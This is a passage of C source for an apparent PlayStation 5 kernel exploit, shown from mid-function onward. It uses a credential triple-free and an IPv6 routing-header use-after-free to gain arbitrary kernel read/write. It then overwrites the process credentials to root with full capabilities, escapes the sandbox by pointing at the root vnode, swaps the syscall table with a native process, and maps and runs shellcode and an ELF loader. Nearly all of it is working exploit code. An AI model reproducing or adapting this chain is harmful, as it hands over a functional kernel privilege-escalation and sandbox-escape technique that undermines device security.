build_uio(ctx->msg_iov, uio_iov_ptr, 0, 1, addr, (u64)size);
free_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[2]]);
while (1) {
worker_signal_work(&ctx->iov_state, 0);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
ctx->leak_rthdr_len = 0x40;
get_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[0]],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (GET32(ctx->leak_rthdr, 0x20) == UIO_SYSSPACE) break;
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
}
CALL(ctx, fn_read, ctx->uio_ss[0], (u64)ctx->tmp, (u64)size, 0, 0, 0);
u8 *result = 0;
for (int i = 0; i < UIO_THREAD_NUM; i++) {
CALL(ctx, fn_read, ctx->uio_ss[0],
(u64)leak_bufs[i], (u64)size, 0, 0, 0);
if (GET64(leak_bufs[i], 0x00) != 0x4141414141414141ULL) {
ctx->triplets[1] = find_triplet(ctx, ctx->triplets[0], -1);
result = leak_bufs[i];
}
}
worker_wait_for_finished(&ctx->uio_state);
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
ctx->triplets[2] = find_triplet(ctx, ctx->triplets[0], ctx->triplets[1]);
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
CALL(ctx, fn_free, (u64)leak_bufs, 0, 0, 0, 0, 0);
return result;
}
static u64 kread_slow64(exploit_ctx_t *ctx, u64 addr)
{
return GET64(kread_slow(ctx, addr, 8), 0x00);
}
static void kwrite_slow(exploit_ctx_t *ctx, u64 addr, u8 *buf, s32 size)
{
u32 buf_sz = (u32)size * UIO_THREAD_NUM;
CALL(ctx, fn_setsockopt, ctx->uio_ss[1], SOL_SOCKET, SO_SNDBUF,
(u64)&buf_sz, 4, 0);
PUT64(ctx->uio_iov_write, 0x08, (u64)size);
free_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[1]]);
while (1) {
worker_signal_work(&ctx->uio_state, COMMAND_UIO_WRITE);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
ctx->leak_rthdr_len = 0x10;
get_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[0]],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (GET32(ctx->leak_rthdr, 0x08) == UIO_IOV_NUM) break;
for (int i = 0; i < UIO_THREAD_NUM; i++)
CALL(ctx, fn_write, ctx->uio_ss[1], (u64)buf, (u64)size, 0, 0, 0);
worker_wait_for_finished(&ctx->uio_state);
}
u64 uio_iov_ptr = GET64(ctx->leak_rthdr, 0x00);
build_uio(ctx->msg_iov, uio_iov_ptr, 0, 0, addr, (u64)size);
free_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[2]]);
while (1) {
worker_signal_work(&ctx->iov_state, 0);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
ctx->leak_rthdr_len = 0x40;
get_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[0]],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (GET32(ctx->leak_rthdr, 0x20) == UIO_SYSSPACE) break;
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
}
for (int i = 0; i < UIO_THREAD_NUM; i++)
CALL(ctx, fn_write, ctx->uio_ss[1], (u64)buf, (u64)size, 0, 0, 0);
ctx->triplets[1] = find_triplet(ctx, ctx->triplets[0], -1);
worker_wait_for_finished(&ctx->uio_state);
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
ctx->triplets[2] = find_triplet(ctx, ctx->triplets[0], ctx->triplets[1]);
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
}
static u64 find_allproc(exploit_ctx_t *ctx)
{
s32 pipe_fd[2];
CALL(ctx, fn_pipe, (u64)pipe_fd, 0, 0, 0, 0, 0);
s32 pid = (s32)CALL(ctx, fn_getpid, 0, 0, 0, 0, 0, 0);
CALL(ctx, fn_ioctl, pipe_fd[0], FIOSETOWN, (u64)&pid, 0, 0, 0);
u64 fp = fget(ctx, pipe_fd[0]);
u64 f_data = kread64(ctx, fp + 0x00);
u64 sigio = kread64(ctx, f_data + PIPE_SIGIO_OFFSET);
ctx->curproc = kread64(ctx, sigio);
u64 p = ctx->curproc;
while ((p & 0xFFFFFFFF00000000ULL) != 0xFFFFFFFF00000000ULL)
p = kread64(ctx, p + 0x08);
CALL(ctx, fn_close, pipe_fd[1], 0, 0, 0, 0, 0);
CALL(ctx, fn_close, pipe_fd[0], 0, 0, 0, 0, 0);
return p;
}
static u64 pfind(exploit_ctx_t *ctx, s32 pid)
{
u64 p = kread64(ctx, ctx->allproc);
while (p != 0) {
if ((s32)kread32(ctx, p + P_PID_OFFSET) == pid) break;
p = kread64(ctx, p + 0x00);
}
return p;
}
static void remove_rthr_from_socket(exploit_ctx_t *ctx, s32 fd)
{
u64 fp = fget(ctx, fd);
if ((fp ^ 0x8000000000000000ULL) > 0x7FFF000000000000ULL) {
u64 f_data = kread64(ctx, fp + 0x00);
u64 so_pcb = kread64(ctx, f_data + 0x18);
u64 in6p_outputopts = kread64(ctx, so_pcb + IN6P_OUTPUTOPTS_OFFSET);
kwrite64(ctx, in6p_outputopts + IP6PO_RHI_RTHDR_OFFSET, 0);
}
}
static void remove_uaf_file(exploit_ctx_t *ctx)
{
u64 uaf_file = fget(ctx, ctx->uaf_sock);
log_hex64(ctx, "removeUafFile: uaf_file=", uaf_file);
kwrite64(ctx, ctx->fdt_ofiles + (u64)ctx->uaf_sock * FILEDESCENT_SIZE, 0);
s32 removed = 0;
for (int i = 0; i < 0x1000 && removed < 3; i++) {
s32 s = (s32)CALL(ctx, fn_socket, AF_UNIX, SOCK_STREAM, 0, 0, 0, 0);
if (fget(ctx, s) == uaf_file) {
kwrite64(ctx, ctx->fdt_ofiles + (u64)s * FILEDESCENT_SIZE, 0);
removed++;
}
CALL(ctx, fn_close, s, 0, 0, 0, 0, 0);
}
log_hex32(ctx, "removeUafFile: removed=", (u32)removed);
}
static s32 ps5_jailbreak(exploit_ctx_t *ctx)
{
u64 p = ctx->curproc;
u64 p_ucred = kread64(ctx, p + 0x40);
kwrite32(ctx, p_ucred + 0x04, 0);
kwrite32(ctx, p_ucred + 0x08, 0);
kwrite32(ctx, p_ucred + 0x0C, 0);
kwrite32(ctx, p_ucred + 0x10, 1);
kwrite32(ctx, p_ucred + 0x14, 0);
kwrite32(ctx, p_ucred + 0x18, 0);
kwrite64(ctx, p_ucred + 0x58, SYSCORE_AUTHID);
kwrite64(ctx, p_ucred + 0x60, 0xFFFFFFFFFFFFFFFFULL);
kwrite64(ctx, p_ucred + 0x68, 0xFFFFFFFFFFFFFFFFULL);
log_hex32(ctx, "pre-patch ucred+0x82=", kread8(ctx, p_ucred + 0x82));
kwrite8 (ctx, p_ucred + 0x82, 0x00); // This is ps2emu exclusive patch to bypass socket restriction
kwrite8 (ctx, p_ucred + 0x83, 0x80);
u64 p_fd = kread64(ctx, p + 0x48);
u64 kern = pfind(ctx, KERNEL_PID);
u64 kern_fd = kread64(ctx, kern + 0x48);
u64 rootvnode = kread64(ctx, kern_fd + ROOTVNODE_OFFSET);
kwrite64(ctx, p_fd + 0x08, rootvnode);
kwrite64(ctx, p_fd + 0x10, rootvnode);
kwrite64(ctx, p_fd + 0x18, 0);
u64 p_dynlib = kread64(ctx, p + 0x3E8);
kwrite64(ctx, p_dynlib + 0xF0, 0);
kwrite64(ctx, p_dynlib + 0xF8, 0xFFFFFFFFFFFFFFFFULL);
u64 dynlib_eboot = kread64(ctx, p_dynlib + 0x00);
u64 eboot_segs = kread64(ctx, dynlib_eboot + 0x40);
kwrite64(ctx, eboot_segs + 0x08, 0);
kwrite64(ctx, eboot_segs + 0x10, 0xFFFFFFFFFFFFFFFFULL);
return 1;
}
typedef struct {
u64 sysent_addr;
u32 orig_size;
u64 orig_tbl;
} sysent_save_t;
typedef struct {
u8 *elfldr_data;
u64 elfldr_size;
u64 entry;
u64 sysent_off;
u64 comm_off;
u64 target;
} aio_ctx_t;
static s32 str_eq(const char *a, const char *b)
{
while (*a && *b && *a == *b) { a++; b++; }
return *a == *b;
}
static void find_proc_offsets(exploit_ctx_t *ctx, u64 *sysent_off, u64 *comm_off)
{
u8 *buf = (u8*)CALL(ctx, fn_calloc, 1, 0x1000, 0, 0, 0, 0);
kread(ctx, ctx->curproc, buf, 0x1000);
*sysent_off = (u64)-1;
for (int i = 0; i <= 0x1000 - 8; i++) {
if (GET64(buf, i) == 0x7FFFFFFFFFFFFFFFULL) {
if (i >= 0x10) *sysent_off = (u64)(i - 0x10);
break;
}
}
*comm_off = (u64)-1;
for (int i = 0; i <= 0x1000 - 6; i++) {
if (buf[i+0] == 0xCE && buf[i+1] == 0xFA &&
buf[i+2] == 0xEF && buf[i+3] == 0xBE &&
buf[i+4] == 0xCC && buf[i+5] == 0xBB) {
*comm_off = (u64)(i + 8);
break;
}
}
CALL(ctx, fn_free, (u64)buf, 0, 0, 0, 0, 0);
}
static void read_procname(exploit_ctx_t *ctx, u64 proc, u64 comm_off, char *out)
{
u8 buf[32];
kread(ctx, proc + comm_off, buf, 32);
int i;
for (i = 0; i < 31; i++) {
u8 ch = buf[i];
if (ch == 0) break;
if (ch < 0x20 || ch > 0x7E) { i = 0; break; }
out[i] = (char)ch;
}
out[i] = '\0';
}
static u64 find_native_process(exploit_ctx_t *ctx, u64 comm_off)
{
const char *targets[2];
targets[0] = "SceRedisServer"; targets[1] = 0;
u64 p = kread64(ctx, ctx->allproc);
log_hex64(ctx, "aio: first proc=", p);
char name[32];
s32 checked = 0;
while (p && (p >> 48) == 0xFFFF) {
read_procname(ctx, p, comm_off, name);
for (int i = 0; targets[i]; i++) {
if (str_eq(name, targets[i])) {
log_hex64(ctx, "aio: native proc=", p);
return p;
}
}
p = kread64(ctx, p + 0x00);
checked++;
if (checked % 20 == 0)
log_hex32(ctx, "aio: procs checked=", (u32)checked);
}
log_hex32(ctx, "aio: walk ended at checked=", (u32)checked);
log_hex64(ctx, "aio: last p=", p);
return 0;
}
static void swap_sysent(exploit_ctx_t *ctx, u64 sysent_off, u64 target, sysent_save_t *sv)
{
u64 our = kread64(ctx, ctx->curproc + sysent_off);
u64 their = kread64(ctx, target + sysent_off);
sv->sysent_addr = our;
sv->orig_size = kread32(ctx, our);
sv->orig_tbl = kread64(ctx, our + 0x8);
kwrite32(ctx, our, kread32(ctx, their));
kwrite64(ctx, our + 0x8, kread64(ctx, their + 0x8));
}
static void restore_sysent(exploit_ctx_t *ctx, sysent_save_t *sv)
{
kwrite32(ctx, sv->sysent_addr, sv->orig_size);
kwrite64(ctx, sv->sysent_addr + 0x8, sv->orig_tbl);
}
static u8 *read_file(exploit_ctx_t *ctx, const char *path, u64 *size_out)
{
s32 fd = (s32)CALL(ctx, fn_open, (u64)path, O_RDONLY, 0, 0, 0, 0);
if (fd < 0) return 0;
s64 sz = (s64)CALL(ctx, fn_lseek, fd, 0, SEEK_END, 0, 0, 0);
CALL(ctx, fn_lseek, fd, 0, SEEK_SET, 0, 0, 0);
if (sz <= 0) { CALL(ctx, fn_close, fd, 0, 0, 0, 0, 0); return 0; }
u8 *buf = (u8*)CALL(ctx, fn_calloc, 1, (u64)sz, 0, 0, 0, 0);
CALL(ctx, fn_read, fd, (u64)buf, (u64)sz, 0, 0, 0);
CALL(ctx, fn_close, fd, 0, 0, 0, 0, 0);
*size_out = (u64)sz;
return buf;
}
static s32 find_file(exploit_ctx_t *ctx, const char *title_id,
const char *filename, char *out_path)
{
if (!ctx->fn_open) { LOG(ctx, "find_file: fn_open null\n"); return 0; }
log_hex64(ctx, "find_file: fn_open=", (u64)ctx->fn_open);
const char *slots[4];
slots[0] = "_000"; slots[1] = "_001"; slots[2] = "_002"; slots[3] = 0;
for (int i = 0; slots[i]; i++) {
char *p = out_path;
const char *s;
s = "/mnt/sandbox/"; while (*s) *p++ = *s++;
s = title_id; while (*s) *p++ = *s++;
s = slots[i]; while (*s) *p++ = *s++;
s = "/savedata0/lua/elf_jb/"; while (*s) *p++ = *s++;
s = filename; while (*s) *p++ = *s++;
*p = '\0';
log_send(ctx, out_path); log_send(ctx, "\n");
s32 fd = (s32)CALL(ctx, fn_open, (u64)out_path, O_RDONLY, 0, 0, 0, 0);
log_hex32(ctx, "find_file: open ret=", (u32)fd);
if (fd >= 0) { CALL(ctx, fn_close, fd, 0, 0, 0, 0, 0); return 1; }
}
return 0;
}
static u64 map_shellcode(exploit_ctx_t *ctx, u8 *data, u64 size)
{
u64 aligned = (size + PAGE_SIZE - 1) & ~((u64)PAGE_SIZE - 1);
if (!aligned) aligned = PAGE_SIZE;
s32 exec_fd = -1;
CALL(ctx, fn_jit_create, 0, aligned, PROT_RWX, (u64)&exec_fd, 0, 0);
if (exec_fd < 0) return 0;
u64 addr = (u64)CALL(ctx, fn_mmap, 0, aligned, PROT_RWX, MAP_SHARED,
(u64)exec_fd, 0);
if (!addr || addr == (u64)-1) return 0;
u8 *dst = (u8*)addr;
for (u64 i = 0; i < size; i++) dst[i] = data[i];
log_hex64(ctx, "aio: shellcode mapped=", addr);
return addr;
}
static void run_shellcode(exploit_ctx_t *ctx, u64 entry,
u64 elfldr_addr, u64 elfldr_size)
{
u8 *args = (u8*)CALL(ctx, fn_calloc, 1, 0x28, 0, 0, 0, 0);
PUT32(args, 0x00, ctx->master_pipe[0]);
PUT32(args, 0x04, ctx->master_pipe[1]);
PUT32(args, 0x08, ctx->victim_pipe[0]);
PUT32(args, 0x0C, ctx->victim_pipe[1]);
PUT64(args, 0x10, ctx->allproc);
PUT64(args, 0x18, elfldr_addr);
PUT64(args, 0x20, elfldr_size);
u64 thread = 0;
eboot_wrap(ctx->gadget, (void*)ctx->fn_pthread_create,
(u64)&thread, 0, entry, (u64)args, 0, 0);
log_hex64(ctx, "aio: thread=", thread);
eboot_wrap(ctx->gadget, (void*)ctx->fn_pthread_join,
thread, 0, 0, 0, 0, 0);
CALL(ctx, fn_free, (u64)args, 0, 0, 0, 0, 0);
}
static s32 aio_prepare(exploit_ctx_t *ctx, const char *title_id, aio_ctx_t *aio)
{
LOG(ctx, "aio: prepare\n");
find_proc_offsets(ctx, &aio->sysent_off, &aio->comm_off);
log_hex64(ctx, "aio: sysent_off=", aio->sysent_off);
log_hex64(ctx, "aio: comm_off=", aio->comm_off);
if (aio->sysent_off == (u64)-1 || aio->comm_off == (u64)-1) {
LOG(ctx, "aio: proc offsets not found\n");
return 0;
}
aio->target = find_native_process(ctx, aio->comm_off);
if (!aio->target) { LOG(ctx, "aio: native proc not found\n"); return 0; }
LOG(ctx, "aio: finding elfldr\n");
char elfldr_path[512];
if (!find_file(ctx, title_id, "elfldr-ps5-0.23.elf", elfldr_path)) {
LOG(ctx, "aio: elfldr not found\n");
return 0;
}
LOG(ctx, "aio: reading elfldr\n");
aio->elfldr_data = read_file(ctx, elfldr_path, &aio->elfldr_size);
if (!aio->elfldr_data) { LOG(ctx, "aio: elfldr read failed\n"); return 0; }
log_hex64(ctx, "aio: elfldr_size=", aio->elfldr_size);
char bin_path[512];
s32 usb_fd = (s32)CALL(ctx, fn_open, (u64)"/mnt/usb0/kexp_debug.bin",
O_RDONLY, 0, 0, 0, 0);
if (usb_fd >= 0) {
CALL(ctx, fn_close, usb_fd, 0, 0, 0, 0, 0);
const char *s = "/mnt/usb0/kexp_debug.bin";
char *p = bin_path; while (*s) *p++ = *s++; *p = '\0';
LOG(ctx, "aio: using usb kexp_debug.bin\n");
} else {
if (!find_file(ctx, title_id, "kexp_2026_05_25.bin", bin_path)) {
LOG(ctx, "aio: kexp bin not found\n");
CALL(ctx, fn_free, (u64)aio->elfldr_data, 0, 0, 0, 0, 0);
aio->elfldr_data = 0;
return 0;
}
}
LOG(ctx, "aio: reading bin\n");
u64 bin_size = 0;
u8 *bin_data = read_file(ctx, bin_path, &bin_size);
if (!bin_data) {
LOG(ctx, "aio: bin read failed\n");
CALL(ctx, fn_free, (u64)aio->elfldr_data, 0, 0, 0, 0, 0);
aio->elfldr_data = 0;
return 0;
}
log_hex64(ctx, "aio: bin_size=", bin_size);
aio->entry = map_shellcode(ctx, bin_data, bin_size);
CALL(ctx, fn_free, (u64)bin_data, 0, 0, 0, 0, 0);
if (!aio->entry) {
LOG(ctx, "aio: map failed\n");
CALL(ctx, fn_free, (u64)aio->elfldr_data, 0, 0, 0, 0, 0);
aio->elfldr_data = 0;
return 0;
}
LOG(ctx, "aio: prepare done\n");
return 1;
}
static void aio_run(exploit_ctx_t *ctx, aio_ctx_t *aio)
{
LOG(ctx, "aio: run\n");
sysent_save_t sv;
swap_sysent(ctx, aio->sysent_off, aio->target, &sv);
LOG(ctx, "aio: sysent swapped\n");
run_shellcode(ctx, aio->entry, (u64)aio->elfldr_data, aio->elfldr_size);
restore_sysent(ctx, &sv);
LOG(ctx, "aio: sysent restored\n");
CALL(ctx, fn_free, (u64)aio->elfldr_data, 0, 0, 0, 0, 0);
aio->elfldr_data = 0;
LOG(ctx, "aio: done\n");
}
static void cleanup(exploit_ctx_t *ctx)
{
for (int i = 0; i < IPV6_SOCK_NUM; i++)
CALL(ctx, fn_close, ctx->ipv6_socks[i], 0, 0, 0, 0, 0);
CALL(ctx, fn_close, ctx->uio_ss[1], 0, 0, 0, 0, 0);
CALL(ctx, fn_close, ctx->uio_ss[0], 0, 0, 0, 0, 0);
CALL(ctx, fn_close, ctx->iov_ss[1], 0, 0, 0, 0, 0);
CALL(ctx, fn_close, ctx->iov_ss[0], 0, 0, 0, 0, 0);
}
__attribute__((section(".text.start")))
u64 main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5, u64 arg6)
{
u64 *info = (u64*)arg1;
exploit_ctx_t ctx = {0};
ctx.gadget = (void*)(info[0] + GADGET_OFFSET);
ctx.log_sock = (s32)arg2;
ctx.log_addr[0] = 16;
ctx.log_addr[1] = AF_INET;
*(u16*)(ctx.log_addr+2) = 0x901F;
*(u32*)(ctx.log_addr+4) = parse_ipv4((const char*)arg3);
s32 *ipv6_fd_src = (s32*)arg5;
for (int i = 0; i < IPV6_SOCK_NUM; i++)
ctx.ipv6_socks[i] = ipv6_fd_src[i];
dlsym_t dlsym = (dlsym_t)info[1];
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "sendto", (void**)&ctx.fn_sendto);
LOG(&ctx, "init: sendto resolved\n");
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "socket", (void**)&ctx.fn_socket);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "socketpair", (void**)&ctx.fn_socketpair);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "dup", (void**)&ctx.fn_dup);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "close", (void**)&ctx.fn_close);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "setuid", (void**)&ctx.fn_setuid);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "getpid", (void**)&ctx.fn_getpid);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "kqueue", (void**)&ctx.fn_kqueue);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "setsockopt", (void**)&ctx.fn_setsockopt);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "getsockopt", (void**)&ctx.fn_getsockopt);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "recvmsg", (void**)&ctx.fn_recvmsg);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "read", (void**)&ctx.fn_read);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "readv", (void**)&ctx.fn_readv);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "write", (void**)&ctx.fn_write);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "writev", (void**)&ctx.fn_writev);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "ioctl", (void**)&ctx.fn_ioctl);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pipe", (void**)&ctx.fn_pipe);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "fcntl", (void**)&ctx.fn_fcntl);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "sched_yield", (void**)&ctx.fn_sched_yield);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "cpuset_setaffinity", (void**)&ctx.fn_cpuset_setaffinity);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "rtprio_thread", (void**)&ctx.fn_rtprio_thread);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "__sys_netcontrol", (void**)&ctx.fn_netcontrol);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_create", (void**)&ctx.fn_pthread_create);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_join", (void**)&ctx.fn_pthread_join);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_mutex_init", (void**)&ctx.fn_mutex_init);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_mutex_lock", (void**)&ctx.fn_mutex_lock);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_mutex_unlock", (void**)&ctx.fn_mutex_unlock);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_cond_init", (void**)&ctx.fn_cond_init);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_cond_wait", (void**)&ctx.fn_cond_wait);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_cond_broadcast", (void**)&ctx.fn_cond_broadcast);
resolve(ctx.gadget, dlsym, LIBC_HANDLE, "calloc", (void**)&ctx.fn_calloc);
resolve(ctx.gadget, dlsym, LIBC_HANDLE, "free", (void**)&ctx.fn_free);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "sceKernelJitCreateSharedMemory", (void**)&ctx.fn_jit_create);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "mmap", (void**)&ctx.fn_mmap);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "open", (void**)&ctx.fn_open);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "lseek", (void**)&ctx.fn_lseek);
{
s32 nfd = (s32)CALL(&ctx, fn_open, (u64)"/dev/null", O_RDONLY, 0, 0, 0, 0);
log_hex32(&ctx, "init: /dev/null fd=", (u32)nfd);
if (nfd >= 0)
CALL(&ctx, fn_close, nfd, 0, 0, 0, 0, 0);
}
LOG(&ctx, "init: calloc/free resolved\n");
cpu_set_affinity(&ctx, MAIN_CORE);
LOG(&ctx, "init: cpu affinity set\n");
rtprio_thread(&ctx, 256);
LOG(&ctx, "init: rtprio set\n");
CALL(&ctx, fn_pipe, (u64)ctx.master_pipe, 0, 0, 0, 0, 0);
LOG(&ctx, "init: master pipe created\n");
CALL(&ctx, fn_pipe, (u64)ctx.victim_pipe, 0, 0, 0, 0, 0);
LOG(&ctx, "init: victim pipe created\n");
CALL(&ctx, fn_fcntl, ctx.master_pipe[0], F_SETFL, O_NONBLOCK, 0, 0, 0);
CALL(&ctx, fn_fcntl, ctx.master_pipe[1], F_SETFL, O_NONBLOCK, 0, 0, 0);
CALL(&ctx, fn_fcntl, ctx.victim_pipe[0], F_SETFL, O_NONBLOCK, 0, 0, 0);
CALL(&ctx, fn_fcntl, ctx.victim_pipe[1], F_SETFL, O_NONBLOCK, 0, 0, 0);
LOG(&ctx, "init: pipes set O_NONBLOCK\n");
ctx.spray_rthdr = (u8*)CALL(&ctx, fn_calloc, 1, UCRED_SIZE, 0, 0, 0, 0);
ctx.leak_rthdr = (u8*)CALL(&ctx, fn_calloc, 1, UCRED_SIZE, 0, 0, 0, 0);
ctx.msg_hdr = (u8*)CALL(&ctx, fn_calloc, 1, MSG_HDR_SIZE, 0, 0, 0, 0);
ctx.msg_iov = (u8*)CALL(&ctx, fn_calloc, MSG_IOV_NUM, IOV_SIZE, 0, 0, 0, 0);
ctx.uio_iov_read = (u8*)CALL(&ctx, fn_calloc, UIO_IOV_NUM, IOV_SIZE, 0, 0, 0, 0);
ctx.uio_iov_write = (u8*)CALL(&ctx, fn_calloc, UIO_IOV_NUM, IOV_SIZE, 0, 0, 0, 0);
ctx.dummy_buf = (u8*)CALL(&ctx, fn_calloc, 1, 0x1000, 0, 0, 0, 0);
for (int i = 0; i < 0x1000; i++) ctx.dummy_buf[i] = 0x41;
ctx.tmp = (u8*)CALL(&ctx, fn_calloc, 1, PAGE_SIZE, 0, 0, 0, 0);
LOG(&ctx, "exploit: start\n");
if (!trigger_ucred_triple_free(&ctx)) {
LOG(&ctx, "exploit: triggerUcredTripleFree failed\n");
cleanup(&ctx);
return ERR_TRIPLE_FREE;
}
LOG(&ctx, "exploit: triggerUcredTripleFree finished\n");
if (!leak_kqueue(&ctx)) {
LOG(&ctx, "exploit: leakKqueue failed\n");
cleanup(&ctx);
return ERR_LEAK_KQUEUE;
}
LOG(&ctx, "exploit: leakKqueue finished\n");
u64 fd_files = kread_slow64(&ctx, ctx.kq_fdp);
ctx.fdt_ofiles = fd_files + FDT_OFILES_OFFSET;
log_hex64(&ctx, "exploit: fdt_ofiles=", ctx.fdt_ofiles);
u64 master_rpipe_file = kread_slow64(&ctx, ctx.fdt_ofiles +
(u64)ctx.master_pipe[0] * FILEDESCENT_SIZE);
log_hex64(&ctx, "exploit: master_rpipe_file=", master_rpipe_file);
u64 victim_rpipe_file = kread_slow64(&ctx, ctx.fdt_ofiles +
(u64)ctx.victim_pipe[0] * FILEDESCENT_SIZE);
log_hex64(&ctx, "exploit: victim_rpipe_file=", victim_rpipe_file);
u64 master_rpipe_data = kread_slow64(&ctx, master_rpipe_file + 0x00);
log_hex64(&ctx, "exploit: master_rpipe_data=", master_rpipe_data);
u64 victim_rpipe_data = kread_slow64(&ctx, victim_rpipe_file + 0x00);
log_hex64(&ctx, "exploit: victim_rpipe_data=", victim_rpipe_data);
u8 master_pipebuf[PIPEBUF_SIZE];
PUT32(master_pipebuf, 0x00, 0);
PUT32(master_pipebuf, 0x04, 0);
PUT32(master_pipebuf, 0x08, 0);
PUT32(master_pipebuf, 0x0C, PAGE_SIZE);
PUT64(master_pipebuf, 0x10, victim_rpipe_data);
kwrite_slow(&ctx, master_rpipe_data, master_pipebuf, PIPEBUF_SIZE);
LOG(&ctx, "exploit: arbitrary r/w achieved\n");
fhold(&ctx, fget(&ctx, ctx.master_pipe[0]));
fhold(&ctx, fget(&ctx, ctx.master_pipe[1]));
fhold(&ctx, fget(&ctx, ctx.victim_pipe[0]));
fhold(&ctx, fget(&ctx, ctx.victim_pipe[1]));
remove_rthr_from_socket(&ctx, ctx.ipv6_socks[ctx.triplets[0]]);
remove_rthr_from_socket(&ctx, ctx.ipv6_socks[ctx.triplets[1]]);
remove_rthr_from_socket(&ctx, ctx.ipv6_socks[ctx.triplets[2]]);
remove_uaf_file(&ctx);
ctx.allproc = find_allproc(&ctx);
log_hex64(&ctx, "exploit: allproc=", ctx.allproc);
log_hex64(&ctx, "exploit: curproc=", ctx.curproc);
{
u64 p_ucred = kread64(&ctx, ctx.curproc + 0x40);
log_hex64(&ctx, "exploit: p_ucred=", p_ucred);
log_hex32(&ctx, "exploit: cr_uid=", kread32(&ctx, p_ucred + 0x04));
log_hex64(&ctx, "exploit: cr_sceAuthId=", kread64(&ctx, p_ucred + 0x58));
}
ps5_jailbreak(&ctx);
{
u64 p_ucred = kread64(&ctx, ctx.curproc + 0x40);
log_hex32(&ctx, "exploit: post cr_uid=", kread32(&ctx, p_ucred + 0x04));
log_hex64(&ctx, "exploit: post cr_sceAuthId=", kread64(&ctx, p_ucred + 0x58));
}
cleanup(&ctx);
{
aio_ctx_t aio = {0};
aio_prepare(&ctx, (const char*)arg4, &aio);
if (aio.entry)
aio_run(&ctx, &aio);
}
LOG(&ctx, "exploit: done\n");
return 0;
}